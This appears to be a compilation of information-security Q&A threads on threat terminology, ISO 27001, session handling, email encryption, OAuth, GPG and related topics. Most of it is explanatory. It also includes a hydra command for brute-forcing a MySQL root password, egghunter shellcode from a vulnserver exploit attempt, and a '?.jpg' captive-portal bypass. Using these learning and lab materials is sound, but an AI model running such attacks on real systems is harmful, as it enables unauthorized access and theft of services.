Do we still refer to a threat as a threat once it has been realised? A threat is defined as something that might do harm but once a threat happens do we still refer to it as a threat?

For instance, if malware infects our computer, do we still refer to the malware as a threat?

You may be looking for 'breach'.  As described below, the original threat remains, a breach has occurred, and additional new unmitigated threats may exist where the attacker may be able to do additional damage now that they're inside.

Threat: the possibility that something could try to happen

Threat Actor: the person or other entity who will try to make the bad thing (threat) happen

Vulnerability: a hole in the design of the defenses that may allow a threat actor to cause a threat to happen

Asset: something of value

Exposure: an asset has been placed behind a vulnerability, thereby exposing the data to the threat

Exploit (n): the mechanism by which the threat actor will make use of the vulnerability to get to the exposed asset

Exploit (v): the act of using an exploit (n) to make use of a vulnerability to access the exposed asset

Breach(v): the successful act of exploiting a vulnerability. Breaching the defenses

Breach(n): the event during which a breach(v) occurred. A breach in the defenses.

incident: a detected breach or exposure. In some environments, a detected vulnerability, without an exposure

Mitigate: to reduce the severity of an actual or potential breach

Control something in place to mitigate, detect, or prevent a breach

Note that a threat that successfully breaches the security of some of your assets may not have successfully accessed all your assets, and may attempt to re-enter at a later time. Thus, you have a breach by an ongoing threat, with possibility of a wider or repeated breach, using one or more exploits to exploit one or more vulnerabilities that exposed one or more assets to the threat of a threat agent.


ISO27001 Risk Assessment Methodology I'm in the process of defining a risk assessment methodology for a company that would like to be aligned with ISO 27001. The standard states clearly that the aim is the protection of CIA (confidentiality, integrity, availability).

Do I have in my risk methodology to give scores for the consequences for each asset/process compared to confidentiality, integrity and availability separately or is it enough to give a single score for each asset/process. In most of the approved tools I have the treat it a single score for the consequences.

Is NOT scoring the consequences independently for each of CIA the right approach?

No you do not need to rate each control area on C.I. & A. One score for the overall state of the control item in the organization is sufficient. A single score in each area also reduces confusion. Ultimately, the decision on how the assessment will be conducted is part of the clause in 6.1.2. See below for additional info.

  There are many myths regarding what the risk assessment should look
  like, but in reality ISO 27001:2013 requirements are not very
  difficult – here is what clause 6.1.2 requires:

  1) Define how to identify the risks that could cause the loss of
  confidentiality, integrity and/or availability of your information

  2) Define how to identify the risk owners

  3) Define criteria for assessing consequences and assessing the
  likelihood of the risk

  4) Define how the risk will be calculated

  5) Define criteria for accepting risks

  So essentially, you need to define these 5 elements – anything less
  won’t be enough, but more importantly – anything more is not needed,
  which means: don’t complicate things too much.

SOURCE Note: I wouldn't consider this guy definitive but he sums up what I would have said pretty well.


What does showing a "security picture & phrase" guard against? A couple financial sites that I use have a "security picture" (some small random photo) and "security phrase" (something I write about it). Two of them go about it differently, however: One asks my username/password, then on the next page shows the phrase/photo and asks me some other info (a la "First pet's name"). The other just asks my username, then on the next page shows phrase/photo and asks for my password.

What sorts of attacks does this guard against? If someone was making a fake MitM site, couldn't they just forward the phrase/photo, or if they're CSRF just omit them (then does it rely on me to notice that they're not there)?

Normally these websites ask for a username/email at login first, then show your security picture prior to asking your password. The picture is chosen by you, the user, from a pool of images during registration. So it basically stops you from giving your password to a malicious clone of a legitimate website because the actual user chosen picture likely won't match the malicious site's image (assuming they try to show you one).

If they do show you one, it is indeed up to you to notice. But that's why they also combine this feature with the security question, which could also be the wrong question or completely missing (which you would also need to notice).

To answer the question of forwarding the photos, accurately forwarding the image/question of a financial site would be nearly impossible. There are two ways to do it that I can think of:

They would need a sizable list of active users and a list of the questions/pictures that correspond to each user, then hope no one changes their security photo or questions at any point. This is something that would basically require access to the financial website's database or a data dump of that database.
The only obvious alternative to that would be finding a vulnerability in the web application that allows them to enumerate users, which most financial websites are going to protect against. They would then need to use some automated technique to create a fairly large list of known users. From there they would have to build a kind of mirror database that links these known users to the security questions and photos.

These are pretty impractical. The most effective way (in my opinion) to thwart security pictures and phrases is either to hope users forget they will be asked, or to get access to their machine and perform key logging or screen grabbing because then there is no reason to set up a phishing website.


Why can you bypass restricted WiFis by adding "?.jpg" to the URL? I recently read an article on Hacking a commercial airport WLAN. It's basically about circumventing paid airport WiFi redirections (they redirect you to a certain URL when you type something in the address bar).

You just add ?.jpg and tada, you've done it.

My question is: Why does this work?

Most probably the blocker is designed to let images through, maybe because they are hotlinking some images on the page where they ask for you to login.

Appending ?.jpg to the URL makes the blocker think that the URL is an image. On the other hand, anything after the ? doesn't change the actual webpage requested, it only changes the GET headers. (so http://google.com/?.jpg and http://google.com/ give the same page).

Note that if there already is a query string in the URL (something after a question mark), then you must use &.jpg instead of ?.jpg, as only the first question mark is considered for making a query string (the second question mark is considered as part of the data, generally, and this may lead to you getting the wrong page)

Basically, when you fetch a page, you can provide additional data to the server (which can then send you a custom page dependant on your data). There are two ways of doing this: a GET request and a POST request. A GET request puts the data in the URL itself, a POST request sends in in a more subtle, 'hidden' way. Here is an example GET request on the "ask question" page of SuperUser. A note: it is not necessary that there is data when you use a GET request. When you fetch a normal webpage, that is also a GET request, without data.


Transparent key management for client computers I'm tasked with adding a backup feature to our software. This backup feature should store the customer's database on external memory. One of the requirements for this feature is that the backup should be encrypted. The goal of this encryption is that the customer database is relatively safe when someone leaves a USB-drive with a backup on it laying around. These are not the most stringent security requirements so the backup and encryption features were easy to implement but the real trouble is that encrypting/decrypting the backup requires a key. I'm not sure how we should manage customer keys.

The customers know absolutely nothing about IT
Entering an encryption key in the control panel of the software is a big hurdle.

It would be nice if the key could be derived from something. For example from the computer's hardware. But that would make the backups useless if they computer breaks down and needs to be replaced. Its also dubious how safe such a derived key could be.

In any case the client should definitely not be the one responsible for the generation or safekeeping of the key

They will definitely forget it so the key should come from us or the computer

Its preferred that only the customer has easy access to that data, but I do not see how we could both manage the key for the client, and not know the key.

Does anybody know of a (standardized) solution to storing keys for customers? Preferably something that minimizes any administrative hassle?

I personally recommend Hardware Key stores for these type of tasks. there small USB devices that work like a smart card that store the actual key information on it. than the software just uses as encryption key. you can use 2, 1 in a safe and 1 at the client.

These tokens are not very expensive and solve many of the issues you would have when using a password based encryption.

2 examples I know of:

Yubi Key
Nitro Key

There are more of these but I find there more expensive where I live.


Where do Access Controls Fit into the Parkerian Hexad? The security elements of the Parkerian Hexad are:

Confidentiality
Possession or Control
Integrity
Authenticity
Availability
Utility

Where do access controls (mandatory, discretionary and ACL) fit in?

Looking back at the wikipedia page you linked to, I can see access control falling into the first bullet, confidentiality.

Quoting Wikipedia

  Confidentiality refers to limits on who can get what kind of information. For example, executives concerned about protecting their enterprise’s strategic plans from competitors; individuals are concerned about unauthorized access to their financial records.

Access controls are exactly about who can get what kind of information.

In the comments below the answer, someone suggested it would be within authenticity and I was leaning towards that too but after reading what Wikipedia says, authenticity is more about proving that what you claim is true. Access control is about determining what it is you can do with that claim. Access control assumes that the claims are authentic.

If you go to the CIA triad definition of confidentiality, you will find the same approach as in the Parkerian hexad:

  In information security, confidentiality "is the property, that information is not made available or disclosed to unauthorized individuals, entities, or processes" (Excerpt ISO27000).

So access controls (be it ACL, RBAC, or ABAC) belong to confidentiality.


Do software systems become more secure every year? It seems to me that computer software is becoming more secure every year - there are fewer zero-day exploits to be found, many hacker-proof concepts are becoming widespread (such as virtualization and strong encryption), system administrators and users are starting to become aware of the importance of security, etc.

Is it reasonable to assume that the field of information security will start to shrink in a few years? Or is it just an illusion and things are getting worse?

Biggest vulnerability in any computer system is the human user, and human users don't get better at security over the years. In fact, since computer systems' prevalence increases (even my mother now uses a computer occasionally -- hello, Mom !), there are more human users than ever before, which I choose to read as: there are more targets. In that sense, overall security decreases (steadily).

However, we can say that attackers have professionalized. In the 1980s and early 1990s, attackers were mostly bored youngsters, amateurish and exuberant. They were hacking for fun, not profit. There were some pro attackers, usually on the payroll of various governments (they say that Bulgarians were uncannily good at this), but not a lot of them. This famous movie captures the ambiance of that era quite well.

Nowadays, everything has changed. Attackers are organized, efficient, and petty; they act for money; most no longer worry to justify their lifestyle with elaborate notions of ethical liberalism. There used to be a lot of quite crazy intellectual constructions about how hacking into computers was a tribute to Marx, Darwin or Salvador Dali, or even all at once; this was quite entertaining; but these days are gone. Now, most attackers are just after a quick gain, they hijack machines just to send spam, and this is boring. A few groups try to maintain a politically aware outlook (e.g. when so-called "Anonymous" try to grab attention) but it often is a disguise prudishly thrown over less glamorous actions.

So, no, systems are not "more secure". But the heroic, flamboyant era of intrepid adventurers is done. Now InfoSec is just a business.


How to access MySQL database if access is denied? As part of pentesting I am trying to access/hack a MySQL server using Kali Linux metasploit auxilary with mysql_enum module. But I unable to access it as access is denied.

Does anyone of you have any idea how to access the DB when unauthorized access is denied?

Try hydra! It's preinstalled on your Kali box.

hydra -l root -P <path to passwords file> <ip address of vulnerable box> mysql -V

This will use all the passwords in the password file supplied to brute force the mysql password for the root account.

A couple good list of password located on every kali box at /usr/share/wordlists.  I recommend rock you


Is it possible to encrypt a file using both AES-256 cipher, password and keyfile using OpenSSL? Is it possible to encrypt a file using both AES-256 cipher, password and keyfile using OpenSSL?

I want to encrypt a file using OpenSSL.

After hours of testing I have found a command which may partially do what I want:

openssl enc -aes-256-cbc -salt -in input.txt -out output.txt

When I run the command above I am prompted for a password which is desirable in this scenario.

I am wondering if and how I can use the command above both with a password and a keyfile. I.e. a keyfile is used to encrypt the input.txt file and a password is also used. I have tested the -inkey flag already but it does not seem to work.

OS: Linux (custom)

Whatever you do, don't try specifying multiple -pass arguments as @mootmoot suggests in the comments. Only the latest applies, as can be trivially seen by:

echo test | openssl enc -aes-256-cbc -salt -pass file:key -pass pass:password | openssl enc -d -aes-256-cbc -salt -pass pass:password

Assuming you're trying to require both the password and the keyfile to decrypt, the easiest way would be to simply chain them, though this will result in a slight size increase:

$ echo test | openssl enc -aes-256-cbc -salt | openssl enc -aes-256-cbc -salt -pass file:key >testout
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:

$ <testout openssl enc -d -aes-256-cbc -salt -pass file:key | openssl enc -d -aes-256-cbc -salt
enter aes-256-cbc decryption password:
test

You should be aware though that the key derivation openssl enc uses is quite terrible. 0.9.8 defaults to MD5, and while it lets you select another hash, it only allows one round of hash(password || salt). 1.1.0 changes the default hash to SHA256, but it still only allows a single round, so the improvement is very minor.

I've also seen this quote from an openssl developer referenced a few times:

  At the end of the day, OpenSSL is a *library*, not an end-user product,
  and enc(1) and friends are developer utilities and "demo" tools.

It's from 2009, so I don't know how much that's changed since then (I believe the cms utility is ok), but I would recommend avoiding enc if possible.


Is there a secure way to share sessions in the same server with different sub domains? I'm studing a case that I have a RESTful backend (php-based) and a hybrid HTML+JS+PHP front-end in different subdomains:

backend.example.com  <-- A RESTful API to provide some XHR requests.
*.example.com  <--  Any other domains on the same server that use the same PHP Session.

A way to  initiate a persistent session in PHP without the placement of a session cookie is creating your own session id and setting it using session_id() function.

Disabling session cookie storage in fact doesn't allow me to maintain session across sub domains. So I implemented a Session Manager Class, to control all my classes' lifecycle, and to allow sharing the session across subdomains:

   public static function sessionStart($name, $limit, $trusttoken){

            (...)

    $userip = $_SERVER['REMOTE_ADDR'];
    $userbrowseragent = $_SERVER['HTTP_USER_AGENT'];

    $id = md5($userip . $salt .  $userbrowseragent  . $sessionname); //Creating unique ID

    session_id($id);
    session_start();

            (...)
   }

Is it a secure way to share sessions in the same server but using diferent subdomains?

Note

The Sessions will be read only in server side(PHP files)
I don't care about trusting XHR requests.
I'm avoiding exposing session id in requests.
It's not possible to use SSL.

An application should rely upon the platform's session handler. Rolling your own session handler is dangerous.

A cookie can be scoped to the parent domain and used by every sub-domain. In PHP this can be done with session_set_cookie_params() to change the scope the domain to *.example.com.  Then use session_start() normally.

XSS on any subdomain may compromise the session id.  Make sure to enable the Secure and HTTPOnly cookie flags.  This will ensure that HTTPS will be used with the session id for all requests, and limit the impact of XSS.

Additionally,  generating a session id using the following method is insecure:

$id = md5($userip . $salt .  $userbrowseragent  . $sessionname);

Never attempt to roll your own random number generator. A session id must be a cryptographic nonce generated with a cryptographically secure pseudo-random number generator (CSPRNG).  The hash function md5 must never be used in a security context,  it has been broken since 2005.  Even if a secure hash function were used, the attacker will knows the $userip, $userbrowseragent and the $sessionname,  which means they could bruteforce the $salt value offline.


Cisco Registered Envelope Service (CRES), big security flaw? While researching so called HIPAA compliant email providers, I came across Cisco Registered Envelope Service(CRES), which claims to be HIPAA compliant.

According to this instruction, upon receiving an email (e.g. from the physician) containing an encrypted message as the attachment, all the recipient (e.g. the patient) needs to do to open the message can be summarized as:

1) download the the attachment as an html file.

2) open the html file, click the registration link inside, and the recipient will be taken to cisco's website to register for an account.

3) finish the registration (typical name, password, security QA type of registration)

4) receive a confirmation email and active the account

5) open the html file downloaded in step 1) again, enter account password used in step 3), the message will decrypt itself.

You can read the details in the section Steps to Opening Your First Password-Protected Envelope starting on page 8.

Of course, once this initial handshake is done, subsequent communications can be regarded as secure. But how can this initial handshake provide any security above the security of plain email itself, when an obvious attack is:

a) hijack the email

b) finish the registration process pretending to be the recipient, hijacking the confirmation email

c) open the encrypted message

Well, well, the message is encrypted, so HIPAA compliant. But how is this even close to a secure solution?

Somewhat relevant: spammers might be faking the CRES emails as a new spamming tactic. Obviously, attackers can do the same to hijack the email account.

I'm actually the guy that invented the Cisco Registered Envelope.  It was created in a startup called PostX originally. In the beginning we didn't do registration like that we made customer supply passwords for everyone.  The problem is how do you do that if you are sending a message to someone outside your org (or someone you've never talked to before), I mean you could call them on the phone and say I'm making your password : xyz.  Obviously, asymmetric/certificate based solutions solve that man in the middle problem, however, they have there own host of problems and complexities that they bring to the table.  The original PostX product supported S/MIME, PGP, Secure WebMail portal, Envelopes using our SaaS key service, Envelopes using the customers database or LDAP system, Envelopes using a shared secret key that worked offline, and probably a few more embodiments.
Here's what it ended coming down to in the market.  All of these different methods have their plusses and minuses. Sure, setting up S/MIME is super secure, but it's also complicated and requires a ton of pre-arrangement.  The benefit of the Cisco Registered Envelope, is you could literally send an email to a new recipient and the appliance could detect that a possible HIPAA violation might be happening and automatically encrypt the message with a one time key and go ahead and send the encrypted message to the recipient before they have even registered.  You are correct that if someone intercepts that first message, there will be problems, but you already have problems if someone is in your email.  Ultimately, most companies realized that other encrypted email solutions were too complicated or required you to store the messages forever on a website, and the prevailing thinking was if it was too hard (like S/MIME) people would just send it in the clear. We basically used to say, there is a line with security on one end and ease of use on the other end and it just depends on where you want to live on that line. The great thing about CRES technology with the HIPAA lexicon, the sender literally has to do nothing to trigger encryption.  If the words "reserve room 6 for surgery for Michael Johnson" show up in an email, and the customers has the HIPAA scanner turned on that email will get automatically encrypted.  There is one final benefit of this model.  With PostX/Cisco acting as the key warehouse, if you get CRES from multiple different companies, multiple senders - you use the same password with all of them because your password is between you and Cisco. A few more benefits : Each message has a unique key - which also allows you to retract a sent email by disabling that key.  It also supports an anti-phishing pass-phrase that again is the same regardless what org is sending to you (you pick a phrase or word that shows up on the outside of the envelope, you don't see that phrase don't enter your password).  Obviously, as the inventor I am a little biased, we had reasonable success with the product give how little people seem to care about encrypting email, and while it does have it's flaws we found that using something that was virtually painless with a few flaws was better than not using anything at all.


How could honeypot be vulnerable? We've been hacked for the 2nd time without knowing how/who did it. Luckily we were able to shutdown everything!

We're trying to deploy Honeypot to be in control of what is going on from our local and global connections. but I've few concerns.

How could the honeypot be risk when its virtual system ?
How it can be used to attack other systems ?
How can deploy such system without affect critical network services or risk them ?

Any security expertise please!

A Honeypot will not control connections, so if that is what you want then you are not looking at the right technology.

Honeypots emulate real systems, so unless you actively prevent it, it will be able to attack other systems, exactly as if it was a real system.

This site has other questions in setting up honeypots, so just have a read of them.


How about performing a denial of service on the "pipes"? When talking about Denial of Service attacks one generally discusses attacks to the CPU, RAM, or memory on machines. I have yet to hear of an attack going after the cables which are used to transport the data (so by sending more data through certain cables than they can handle), why is this? Are these cables (either optic, CAT5 etc...) sufficiently robust that it is infeasible?

If I have physical access to a medium I can more simply deny the use of the medium by jamming rather than trying to overwhelm the endpoints with valid requests. If I have a cable tap I can just spew electronic noise into the wire. If I have a wifi transceiver I can just spew electronic noise into the air. You don't need to generate properly formatted transmissions to overwhelm the service.


Seeking recommendations/warnings for creating a server for malware sample upload and analysis I am trying to conceptualize a server where users can upload potentially dangerous malware samples to a server. They would not need to be stored in the file system per se but kept in memory long enough to be analyzed by other programs/libraries. (Similar to: VirusTotal)
I'm not opposed to incorporating other open source solutions/libraries, but my main concern is reducing risk to the overall system between when a user uploads the file to a web service and getting it to other programs for analysis.

If the file is never saved, and remains only an input stream (java), would that be a strong mitigating factor?
Do you know of any resources that are relevant/talk about sandboxing while still exposing some ports, in constant use by a program, for exchanging analysis information with another local server?
Do you have any recommendations or warnings for accepting malware sample submissions? (If "don't try", please elaborate on the pitfalls)

You are looking at the wrong problem. Handling the file is not an issue. You can save it in the filesystem if you want. You just need to treat is as data. A database blob, a filesystem entry, an in-memory stream. All of those should work.
From Eicar to NotPetya, they are just bytes.
The point where you need to be careful is where programs start processing them. You have a program extracting the file sections? You might worry that if that program was passed a carefully corrupted input file, it didn't cause a buffer overflow that let the attacker run arbitrary code. And so on.
The issue is not "getting it to other programs", it's that whatever those other programs running over the malicious file won't harm the "master" system. That's why you would run those ancillary programs sandboxed in containers, virtual machines, etc.


"int 0x2E" instruction While trying to exploit vulnserver (GMON), on windows 10, using an egghunter, the program crash in the instruction "int 0x2E" of the egghunter.
The exploit work if I use jumps.
Do someone know if there is any issue or protection with the int 0x2E and int 0x80 instructions on Windows 10 ?
Used egg hunter :
egghunter = ""
egghunter += "\x66\x81\xCA\xFF\x0F" # or dx, 0x0fff
egghunter += "\x42"                 # inc edx
egghunter += "\x52"                 # push edx
egghunter += "\x6A\x02"             # push 0x2
egghunter += "\x58"                 # pop eax
egghunter += "\xCD\x2E"             # int 0x2e
egghunter += "\x3C\x05"             # cmp al, 0x5
egghunter += "\x5A"                 # pop edx
egghunter += "\x74\xEF"             # jz 0x0
egghunter += "\xB8\x6e\x6f\x70\x65" # mov eax, 0x6e6f7065
egghunter += "\x8B\xFA"             # mov edi,edx
egghunter += "\xAF"                 # scasd
egghunter += "\x75\xEA"             # jnz 0x5
egghunter += "\xAF"                 # scasd
egghunter += "\x75\xE7"             # jnz 0x5
egghunter += "\xFF\xE7"             # jmp edi

Interrupts like 0x80 have been deemed 'too slow' for modern processors. The interrupt's raison d'être was a way to move between userland and kernelmode. In Linux, there is a newer method of doing that that is faster that uses SYSENTER and SYSEXIT instuctions and uses a VDSO - Virtual Dynamically linked Shared Object. This allows user processes to access kernel resources without sending an interrupt.
More detailed information can be found at this write-up by Manu Garg
I know your question is about Win10; have only been working with Linux in this area recently, so can only assume that there is a corresponding change in the Windows kernel. Hopefully this will give you a starting point!


Why is the SSH maximum packet size 32k? My question has two parts.

First, why must an SSH server have at least a maximum packet size of 32678 bits? It seems a bit excessive for most uses of SSH, excluding file transfer. Is it common for SSH packets to be around this size, or is it meant specifically for file transfer?

Second, would it be ill-advised to ignore the standard, and support a lower maximum packet size? I am developing an SSH stack with very low RAM usage, and I simply cannot afford to support such a large packet size. Can I support, for instance, packets up to 4096, and make sure certain services such as file transfer aren't ever used?

Thanks

First, why must an SSH server have at least a maximum packet size of 32678 bits?

Because it is IETF standard (RFC 4253) and if you want to stay inter-operable with other applications using this standard, you should follow it. If you choose different lover value, sooner or later, you might encounter unexpected errors.

Saying other tools do not support such a large packet is not true. OpenSSH us using max packet size of 256 K.

  Second, would it be ill-advised to ignore the standard, and support a lower maximum packet size?

Well ... you can try that. If the implementation is made in the way that there is a single constant which you can later change, you will implement it and see what happens for your clients and your use case. It always depends on what compatibility you are aiming. If you want support few clients you operate, it is probably ok, but if you aim for public service with unknown clients, it might be a bad idea.


Does signing in via OAuth 2.0 compromise account security if the OAuth 2.0 service decides to become malicious? Say we signup and login to an OAuth 2.0 enabled security application called "AI Car Command Center" via Google OAuth 2.0
We then logout.
Does Google then have the capability to then grant itself access to "AI Car Command Center", if it was forced to by some entity, of course without the account owner's consent or credentials?
Examples of popular OAuth 2.0 services include:

Google
Facebook
Github

Remember the OAuth 2.0 login flow:

"AI Car Command Center" redirect to OAuth Google
Google generates an valid OAuth grant token, but without user consent
"AI Car Command Center" validates Google token
Google then has full, unsolicited access to "AI Car Command Center"?

We can mitigate this by adding 2FA (TOTP) among other techniques.
As a sub question, it may be useful to mention these briefly.
Also, it was mentioned that OpenID is a more appropriate protocol for identity verification rather than OAuth2.0

The explanations in this answer are a bit imprecise and simplified to make them more understandable for someone that has only basic knowledge of OpenID and OAuth.
I assume that you are talking about OpenID instead of OAuth.
OAuth is used when for example a google user delegates access to parts of his account to you - for example to allow you to see his contacts in GMail.
You use OpenID when you want to know about the identity of someone. In that case you tell OpenID provider that you want to know the identity of the current user. The OpenID provider then sends you a token that holds information about that user - after the user logged in at the OpenID provider.
You then read that token and identify the corresponding user in your database. If that is successful the user is logged in within your application.
In this process you obviously trust the information in that token. The OpenID Provider has created that token. So you trust the information provided by the OpenID Provider.
In the end the OpenID Provider could create malicious tokens faking someone else's identity. However - without the presence of a vulnerability in your application or the OpenID Provider - an active attacker within the OpenID Provider would be necessary.


Any security risk with raising client_max_body_size nginx? i was wondering if there is any securitiy risk involved with raising the client_max_body_size in nginx from 1MB to 20GB?

Setting client_max_body_size to 20 GB is, obviously, not reasonable and I wonder why you would allow (users?, yourself?) to upload such very huge files.

client_max_body_size governs the corresponding HTTP Header parameter. As a security good practice, we must always limit the header and message body to a minimal reasonable length. Why ? 20 GB is so huge that you put your server in the same scenario as by 2013 when Django allowed users to use a very long password forcing Django (rather the server where it is hosted) to perform very expensive hash calculations leading, as you may guess, to  a denial-of-service attack against the whole Django's authentication framework.

This is said, there are other things you need to think about if you increase too much the size of client_max_body_size. For instance, how will you set keepalive_timeout parameter ? How could you calculate it based on the fact that client_max_body_size is set to 20 GB ? May be 20 seconds ? 20 minutes ? Two hours ? Same question concerns client_header_timeout and client_body_timeout  that set, respectiely, set the maximum amount of time Nginx will wait around on the client to specify a request header or ask for an object to be served.


Security for External Communication to an EC2 on AWS I have several external (client owned) servers communicating with an EC2 instance using a program installed on their servers (by me).

Currently the program performs no authentication, We install the program on client servers, then add their IP to an AWS security group attached to our EC2 instance.

We are currently running out of space in the security groups (already have the max allowed number of IPs in 5 security groups). How can I best improve the security here, assuming I'm worried about external threats- not the client servers sending bad data?

CLIENT------->SECURITY GROUP----> CENTRAL AWS SERVER

My thoughts:

remove security groups entirely and properly implement a public/private key system between the program and my AWS server?
implement a WAF for the http traffic and filter IPs there.
run a VPN on the client servers which allows access to my network for a specific port.

Security Groups are a network level protection, while any public/private key system is usually an application level protection. You can apply both.

But if you're already maxing out your IPs in security groups, chances are the server is more or less public already, we need to think about other ways to restrict access that's going to be sustainable.

So yes, use some application level authentication, and allow all IPs to access the server. Remove the security group, but place the EC2 in a public subnet with an internet gateway (there you'll get access to Security Groups, NACLs etc). Use security groups to grant access only to the port of your application (and nothing else). Use System Manager Session Manager for SSH access.

Implementing a WAF is also a good idea, to protect your server from hacks (once you open it up to the whole internet). But you shouldn't use it to filter IPs, it's not built for that -- WAFs are meant to deny malicious IPs, not to filter out for User IPs. So put the WAF in place to protect your now free-ly accessible server.

Running a VPN is actually the best idea. That way your communication can be private all the way (although I'd still recommend at least some authentication).

Other recommendations including placing all of this behind cloudfront (if HTTP based), ensure your applications logs all user logins (using cloudwatch of something similar), and frequently monitor your EC2 instance for anomalous activity (CPU-spikes, large network egress etc).


Why is Firefox shipped with expired root certificates? What's the purpose of shipping Firefox with expired root certs?

I checked and there are two expired certs listed. In fact the company's website for the first expired cert (A-Trust) states that the new one needs to be imported manually. Why isn't it immediately shipped with Firefox? Why are the expired certs still included in Firefox?

Mozilla policy?
I think there is probably less of a technical answer to that. And more of a Mozilla policy answer.
Trust stores have certain rules about how you can get your root CAs into and out of it.
Mozilla also has such rules. I don't completely understand them.
But the general idea is that once your root is inside the Mozilla trust store the regular way you can get thrown out is via a two step process: first your root is left in the trust store, but placed in "deprecated" status. And after your root has been in deprecated status you may then be thrown out completely.
If on the other hand you already have a root CA in the Mozilla trust store and only want to renew it, then the rules are slightly different than if you had no root CAs there. (Not sure about that part.) They have a special section on the wiki named Requests from Already Included CAs that are in or Ready for Discussion -- and A-Trust is listed there.
And what I think is the case here is that "A-Trust" has a root in the store from earlier on but their renewal efforts have not really worked yet. They're still stuck in that process.
Also: While expiration dates may not be a technical reason for exclusion from a trust store, expiration certainly is a reason according to Mozilla policy.


How to only display open ports I'm very new to Nmap. I'm using Nmap to find open ports of an IP by this command:

nmap -v -Pn -p 1-100 "$ip" -oG -

Here is the output:

Host: IP

Ports:
6/closed/tcp/unknown
19/closed/tcp/chargen
20/closed/tcp/ftp-data
21/open/tcp/ftp
22/closed/tcp/ssh
23/closed/tcp/telnet
25/open/tcp/smtp
32/closed/tcp/unknown
50/closed/tcp/re-mail-ck
53/closed/tcp/domain
56/closed/tcp/xns-auth
62/closed/tcp/acas
68/closed/tcp/dhcpc
72/closed/tcp/netrjs-2
76/closed/tcp/deos
80/open/tcp//http
100/closed/tcp//newacct

Ignored State: filtered (83)

As you see there are some closed ports in the result too. How can I change my command so that only open ports are displayed?

Nmap has the option --open, which will filter out all the other potential states. If you are scanning under Linux, you could also use grep to achieve a very similar result.

Here is what the man pages have to say about it:

  --open (Show only open (or possibly open) ports)

  Sometimes you only care about ports you can actually connect to (open
  ones), and don't want results cluttered with closed, filtered, and
  closed|filtered ports. Output customization is normally done after the
  scan using tools such as grep, awk, and Perl, but this feature was
  added due to overwhelming requests. Specify --open to only see hosts
  with at least one open, open|filtered, or unfiltered port, and only
  see ports in those states. These three states are treated just as they
  normally are, which means that open|filtered and unfiltered may be
  condensed into counts if there are an overwhelming number of them.


GnuPG/KGpg Sign PGP Key - Sign User ID : What is the difference? What is the difference between signing a user ID and a whole Key ?
Which behavior is the best as to signing user IDs and Keys ? How and when to use "Local signatures" (non exportable) ?

(I was told any keys except for people I really know. However I can trust some people without knowing them in real life.)

My system seems to only fully accept keys I signed myself, otherwise it displays a warning that the public key validity is unknown. The keys are imported from servers and multiply signed by other people.

Thanks for your answers

Signatures on UIDs are used to acknowledge trust on other people's identity. If you sign another key's UID, you acknowledge you're sure about this identity.

Signatures on keys are used to bind subkeys and UIDs to your primary key. They're not issued to other keys.

Local signatures are signatures that will not get exported. For example, when syncing a key with keyservers or exporting using gpg --export. They're helpful if

You want to put trust on a key, but not tell anybody about it (eg. you're afraid of government knowing about some relation)
You want to put trust on a key, but aren't too sure about it (eg. for private package repositories -- you will realize when a key changes, but haven't been able to verify it in a secure manner)

OpenPGP/GnuPG trust model: If you want to make use of the web of trust (thus also have GnuPG trust the identities of the "friends of your friends"), you need to give another kind of trust into your friends: trust in their ability and reliability for verifying other's identities. This can be changed by using the trust command in gpg --edit-key.


How to handle private key encryption/decryption for web application In the process of designing a web app that handles public/private key pairs - a Bitcoin web app, specifically - I've had a lot of thought on how to securely handle the storage of the private key, since, using a banking analogy, if someone has access to a user's Bitcoin private key, they have access to all of that user's Bitcoins.

In all scenarios the private key is going to be encrypted in a database that's as secure as possible - no direct Internet access, explicit read/write privileges, etc - but the part that I'm trying to determine and figure out the best solution to is the private key deception. I can do it either on the client side, i.e. in the user's browser, or on the server side.

If I do it in the server side, I could ensure that it's generated and encrypted cryptographically soundly, but if a malicious person gets access to the server, that malicious person will be able to access any decrypted private keys in memory. I could send it to the browser to hold in its storage but then that can raise problems of man-in-the-middle attacks being able to read the private key in transit. All of the decryption/encryption of the private key would be done on the server, including when the private key is first generated.

If I do it client side, I wouldn't have to worry about a malicious person getting the decrypted private key from my server as it would be decrypted in the browser, but since Javascript cryptography isn't as strong as other methods, the encrypted private keys may not be as secure in storage and may be more easily compromised in the case of data theft.

I was originally leaning towards doing the encryption/decryption and key-pair generation in the client side, but now I'm not so sure and to me it seems like they both have valid concerns. Considering the state of the modern browser and its advancements in Javascript cryptography, are the benefits/risks of encryption/decryption in the browser better than the benefits/risks of doing it on the server? Note for this scenario please only consider that the private key would only either reside on the server in memory, or in the browser in memory/localStorage.

There are no particular limitations on the security of cryptography in JavaScript; a JavaScript implementation is likely to be slower than a native code implementation, but it will almost certainly still be fast enough for your purposes.  However, the real issue is that regardless of whether the cryptography happens on the server or on the client, the users still have to trust you, given that web apps are particularly prone to tampering and do not allow for easy user verification of the source code.  Therefore, a web app for managing bitcoin wallets is simply a bad idea.  Any user of your website would have to trust you, and all of the certificate authorities trusted by their browsers, with their bitcoins.  Given that bitcoin banks have a track record of losing/stealing their users' bitcoins, users are unlikely to trust your website.

See also "Javascript Cryptography Considered Harmful": http://matasano.com/articles/javascript-cryptography/


Is having multiple correct passwords for a single username a security problem? This question occurred to me when using online banking. My wife and I have a joint account. The username to login to internet banking is just our account number, so it is the same for both of us. Nevertheless the bank supplied us with 2 distinct passwords.

If the passwords where only given out by the bank and we would log into the same account this would probably be fine.

But first the bank actually forces us to each choose our own new password. In theory I could choose the same password as my wife and then the system would tell me 'you can't use this password because it is already taken' or something like that so I would have guessed my wifes password. Seems securitywise very shady.

Secondly although we access the same money in the bank account we don't have the exact same user account in the bank as for some actions the identity of the user is needed (for example 'please send a new credit card', should it be for me or for my wife?). The situation of one username combined with one password accesses one user account, the same username with another password accesses a different user account looks to me like a severe breach of security.

Is this actually fine or is the bank using some very sloppy and potentially unsafe programming for their joint accounts?

Edit: To specify what I'm mostly interested in. I'm not too worried that some third party hacker could break into our account because of this. I'm interested in the general principle. If I apply the same principle with all users instead of just 2 I would get a system where no username is needed and I identify users simply by the password they enter. This surely would count as not proper security. My question is whether this general problem counts as 'something to avoid in all situations' or more as 'it's fine as long the number of passwords is small' for some value of small.

Your account is as secure as the weakest password able to access it. If one password is K_ig6W952B[1DGF3&8q.V^-}0ZN?rbDZ and the other password is Despacito2, then the effective security is almost nothing.

Assuming that both passwords are equal, there are still twice as many passwords as usual, meaning that a hacker attempting to crack hashes for your password will only work for half as long.

